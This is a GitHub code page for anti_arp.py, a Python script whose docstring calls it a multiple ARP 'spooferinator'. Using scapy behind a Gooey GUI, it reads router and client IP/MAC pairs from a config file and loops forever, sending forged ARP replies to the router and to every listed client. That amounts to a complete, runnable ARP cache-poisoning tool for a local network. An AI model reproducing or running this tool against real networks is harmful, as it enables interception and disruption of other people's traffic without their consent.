This repository has been archived by the owner on Mar 6, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathanti_arp.py
131 lines (115 loc) · 3.99 KB
/
anti_arp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#!/usr/bin/env python3
"""Easy multiple arp spooferinator. See LICENSE.txt for copyright"""
import ctypes
from gooey import Gooey
from gooey import GooeyParser
import logging
import os
from signal import SIGINT, signal
import sys
from scapy.all import ARP, send
# https://stackoverflow.com/questions/1026431/cross-platform-way-to-check-admin-rights-in-a-python-script-under-windows/1026626#1026626
def is_admin():
"""Checks if the program is running as admin"""
logging.debug("Checking if running as admin...")
try:
logging.info("UNIX check...")
return os.getuid() == 0
except AttributeError:
logging.info("UNIX check failed! Fallback to DOS check.")
return ctypes.windll.shell32.IsUserAnAdmin() != 0
# https://www.devdungeon.com/content/python-catch-sigint-ctrl-c
def handler(signal_received, frame):
"""Handles SIGINT gracefully"""
# Handle any cleanup here
logging.info("SIGINT received")
logging.debug(signal_received)
logging.debug(frame)
print('SIGINT or CTRL-C detected. Exiting gracefully')
sys.exit(0)
def read_config(filename):
"""Reads and parses config file with format \"IP MAC\" with the first line being the router"""
logging.info("Opening config file %s", (filename))
config_file = open(filename, "r")
logging.info("Opened config file %s", (filename))
output = []
lines = config_file.read().splitlines()
logging.info("Read config")
logging.debug(lines)
for line in lines:
output.append(line.split(' '))
config_file.close()
logging.debug(output)
return output
def send_packets(router_ip, client_ip, router_mac, client_mac, dry):
"""Sends ARP packets to router and client"""
arpspoofed = ARP(op=2, psrc=router_ip, pdst=client_ip, hwdst=router_mac)
if not dry:
send(arpspoofed)
logging.debug(arpspoofed)
arpspoofed = ARP(op=2, psrc=client_ip, pdst=router_ip, hwdst=client_mac)
if not dry:
send(arpspoofed)
logging.debug(arpspoofed)
@Gooey(
program_name='Anti-Arp',
menu=[
{'name': 'file', 'items': [{
'type': 'AboutDialog',
'menuTitle': 'About',
'name': 'Anti-Arp',
'description': 'Sends out ARP packets faster than others can make \'em',
'version': '0.0.1',
'copyright': '2020',
'website': 'https://github.com/9p4/anti-arp',
'developer': 'https://github.com/9p4',
'license': 'MIT'
}]
}]
)
def main():
"""Main function"""
parser = GooeyParser()
parser.add_argument(
"config_file",
help="config file with format \"IP MAC\" without quotes and with the router on line one",
widget="FileChooser"
)
parser.add_argument(
"--dry",
help="dry run (don't send packets)",
action="store_true",
widget="BlockCheckbox"
)
parser.add_argument(
"--assume-root",
help="ignore the \"we\'re not running as root\" warning",
action="store_true",
widget="BlockCheckbox"
)
parser.add_argument(
"--verbose", "-v",
help="detailed output",
action="count",
default=0
)
args = parser.parse_args()
if not args.assume_root and not is_admin():
logging.critical("This program needs to be run as administrator for raw socket privileges")
print("This program needs to be run as administrator for raw socket privileges")
sys.exit(1)
numeric_level = max((5 - args.verbose) * 10, 10)
print(numeric_level)
if not isinstance(numeric_level, int):
raise ValueError('Invalid log level')
logging.basicConfig(level=numeric_level)
config = read_config(args.config_file)
logging.debug(config)
# The important part.
logging.info("Sending packets...")
while True:
for i in range(1, len(config)):
send_packets(config[0][0], config[i][0], config[0][1], config[i][1], args.dry)
if __name__ == '__main__':
signal(SIGINT, handler)
main()